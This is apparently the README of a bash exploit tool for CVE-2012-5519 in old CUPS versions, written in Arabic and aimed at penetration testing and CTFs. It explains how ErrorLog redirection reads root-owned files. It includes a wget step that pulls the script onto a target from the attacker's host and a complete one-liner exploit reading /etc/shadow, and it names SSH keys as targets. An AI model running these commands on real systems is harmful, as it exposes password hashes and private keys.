
cups-root-file-read.sh | CVE-2012-5519
تنفيذ بلغة bash لوحدة metasploit 'cups_root_file_read.rb' المصممة لاختبار الاختراق وفعاليات CTF.
هو في الأساس تمرين قصير في كتابة سكربتات bash. صُمم ليكون برنامجًا مستقلًا بذاته يستغل CVE-2012-5519 على أنظمة لينكس؛
يوفر للمستخدم مطالبة تفاعلية، تتيح له قراءة ملفات مقيدة متعددة بسرعة.
يستغل هذا السكريبت ثغرة في CUPS (نظام الطباعة الشائع في يونكس) < 1.6.2.
تسمح CUPS للمستخدمين ضمن مجموعة lpadmin بإجراء تغييرات على ملف cupsd.conf باستخدام أمر cupsctl.
يتيح هذا الأمر أيضًا للمستخدم تحديد مسار ErrorLog.
عندما يزور المستخدم الصفحة '/admin/log/error_log page'، يقرأ برنامج cupsd الخفي الذي يعمل بصلاحيات SUID للمستخدم root مسار ErrorLog ويعيده كنص عادي.
باختصار، يمكن قراءة الملفات المملوكة للمستخدم root إذا تم توجيه مسار ErrorLog إليها.
يقوم السكريبت بعدد من الفحوصات قبل تسليم المطالبة للمستخدم؛ ومع ذلك، تشمل جميع المتطلبات ما يلي:
wget أو nc بسبب ضيق الوقت.cupsctl متوفرًا، إلخ.من المفترض أن يُستخدم السكريبت لأغراض اختبار الاختراق وفعاليات CTF. ضع السكريبت على الجهاز الهدف. يمكن القيام بذلك بطرق مختلفة. إحدى الطرق الشائعة من الجهاز الهدف:
wget http://[my ip]:[my port]/cups-root-file-read.sh
لا يتطلب cups-root-file-read.sh أي وسائط أو خيارات، لكنه يحتوي على خيارين اختياريين:
./cups-root-file-read.sh -h
./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: turns off features which may negatively affect
screen readers.
-h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow etc...
شغّله باستخدام:
bash cups-root-file-read.sh
أو
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
أو إذا كنت تريد قراءة ملف واحد فقط:
echo '/etc/shadow' | ./cups-root-file-read.sh
بعد اجتياز الفحوصات الأولية للوظيفة والثغرة، يُعرض على المستخدم مطالبة تتيح له كتابة مسار مطلق لملف موجود. ستتم طباعة محتويات كل ملف في الطرفية.
في حين يمكن استخدام السكريبت لاختبار الملفات المقيدة وقراءتها، إلا أنه يكون أكثر فائدة إذا كان المستخدم يعرف مسبقًا وجود ملفات مقيدة قد يرغب في الاطلاع عليها. على سبيل المثال:
توجد بعض القيود على السكريبت والاستغلال. وعلى حد علمي، فإن وحدة 'cups_root_file_read.rb' الخاصة بـ metasploit تعاني أيضًا من هذه القيود نفسها.
يجب أن يكون الإدخال من المستخدم مسارًا مطلقًا إلى ملف موجود يريد المستخدم عرضه، ويجب ألا يحتوي على مسافات بيضاء في أي مكان في الملف أو المسار. وذلك لأن أمر cupsctl لا يمكنه التعامل مع أحرف المسافات البيضاء بشكل صحيح حتى مع علامات الاقتباس (مثال: ErrorLog='/path to/file.txt') وسيفصل الإدخال عند أحرف المسافات البيضاء إلى توجيهات منفصلة، بقيمة منطقية 'true'.
المثال السابق، إذا تم إرساله، سيُكتب في ملف cupsd.conf على النحو التالي:
ErrorLog=/path
to/file.txt=true
يؤدي هذا إلى ظهور أخطاء تُكتب في سجل الأخطاء، والتي قد تكون ملفات مهمة إذا تم تحديدها في مسار ErrorLog في محاولة ناجحة سابقة لقراءة ملف. لذلك، يتحقق السكريبت من المسافات البيضاء ويقوم بتصفيتها.
على الرغم من الفحوصات للتأكد من أن المستخدم يُدخل شيئًا يشبه مسارًا مطلقًا وملفًا، لا يمكن اكتشاف جميع الأخطاء قبل تمريرها إلى الخادم مع أمر cupsctl:
يمكن قراءة الملفات الموجودة داخل الدليل الجذر (مثال: '/file.txt')، ولكن يمكن أيضًا إرسال الأدلة الشائعة في يونكس مثل '/tmp' و'/root' (سواء عن قصد أو بسبب خطأ من المستخدم). لا يوجد أي رصد لمثل هذه الأدلة النظامية وستقوم بإرجاع رموز حالة 404 من الخادم. يتم إعلام المستخدم بهذه الحالات.
الأدلة غير الموجودة المحددة في المسار (مثال: '/tmp/non-existent-directory/file.txt') ستؤدي أيضًا إلى إرجاع رمز حالة 404 من الخادم.
محاولة عرض ملفات غير موجودة (مثال: '/root/non-existent-file.txt') ستؤدي إلى إنشائها كسجل أخطاء جديد. يتم إعلام المستخدم بذلك في المخرجات، وبأن الملف الفارغ ربما يكون قد أُنشئ بواسطة سكريبت الاستغلال إذا لم يكن موجودًا مسبقًا. هناك دائمًا احتمال أن تكون هذه الملفات الفارغة قد أُنشئت بواسطة مستخدم نظام لأي غرض في نفس الوقت تقريبًا الذي شُغّل فيه السكريبت، ولذلك لا يتم تنظيفها.
في حين أن لينكس يحتوي على أوامر لاختبار وجود ملف أو دليل، إلا أن هذه الميزة لم تُنفَّذ في السكريبت قبل تمرير إدخال المستخدم إلى أمر cupsctl، لأن أوامر الاختبار لا تعمل إذا كان الملف أو الدليل موجودًا في مكان محظور على المستخدم الحالي (مثال: '/root') لأسباب أمنية واضحة. وبما أن السكريبت مصمم لقراءة مثل هذه الملفات المحظورة، فإن مثل هذه الميزة ستكون عديمة الجدوى.
قد تحدث أحيانًا أخطاء في cupsctl عند إجراء تغييرات، سواء يدويًا أو عبر cups-root-file-read.sh. بينما يعالج cups-root-file-read.sh إدخال المستخدم غير المعتاد وبعض الأخطاء، إلا أن أخطاء cupsctl هذه التي تحدث أثناء إجراء تغييرات على ملف cupsd.conf أو أثناء طلب صفحة الويب لا تتم معالجتها. سينهي cups-root-file-read.sh تشغيله ببساطة. في هذه الحالات، يمكن تشغيل السكريبت مرة أخرى والمحاولة من جديد.
كان السكريبت في الأساس تمرينًا في إنشاء برنامج قصير وشامل ومستقل بذاته لاستغلال واحد، مع مراعاة قابلية القراءة وإمكانية الوصول معًا.
يهدف السكريبت إلى اختبار وجود CVE-2012-5519 ثم قراءة عدة ملفات مقيدة بسرعة وسهولة أثناء الاستغلال. لهذا الغرض، أشعر أنه أسرع بشكل ملحوظ من وحدة metasploit ومن كتابة أمر يدوي وتعديله مرارًا وتكرارًا (آمل ذلك). ولكن بعد قولي هذا، إذا كان المستخدم يعلم أن الجهاز الهدف معرّض للثغرة، يمكن تحقيق النتيجة نفسها بشيء مثل:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
اعتبارًا من عام 2022، يبلغ عمر هذا الاستغلال 10 سنوات. إذا كان الجهاز الهدف قديمًا أيضًا، فمن المحتمل أن إصدارات الأوامر المختلفة المستخدمة داخل السكريبت لا تمتلك الوظائف التي تمتلكها الآن. قد ينطبق هذا أيضًا على إصدار bash. لسوء الحظ، كنت مقيدًا بالوقت ولم أتمكن من اختبار السكريبت في نطاق أوسع من البيئات. قد يكون أكثر فائدة لمسابقات CTF.
في الأصل كان من المقرر إنشاء السكريبت باستخدام python3، لكنني صادفت عددًا من المرات التي لم تكن فيها python2 وpython3 متاحتين للمستخدم بعد الحصول على وصول إلى النظام كمستخدم غير مميز. bash متاح دائمًا تقريبًا على نظام لينكس بالإضافة إلى أوامر لينكس الشائعة، لذلك بدا تنفيذ السكريبت بلغة bash هو الخيار الأكثر أمانًا.
يتم استخدام أوامر bash المدمجة قدر الإمكان، ومع ذلك يعتمد السكريبت على بعض الأوامر الخارجية مثل sort وhead وcurl (وبالطبع cupsctl المستخدم كجزء من الاستغلال). لا توجد حاليًا فحوصات لهذه الأوامر ولا يوجد بديل بسبب ضيق الوقت. سيفشل السكريبت إذا لم تكن هذه الأوامر متاحة :(
https://argbash.io - للمساعدة في وسائط السكريبت الأولية.
https://skerritt.blog/a11y/ - تنفيذ إمكانية الوصول.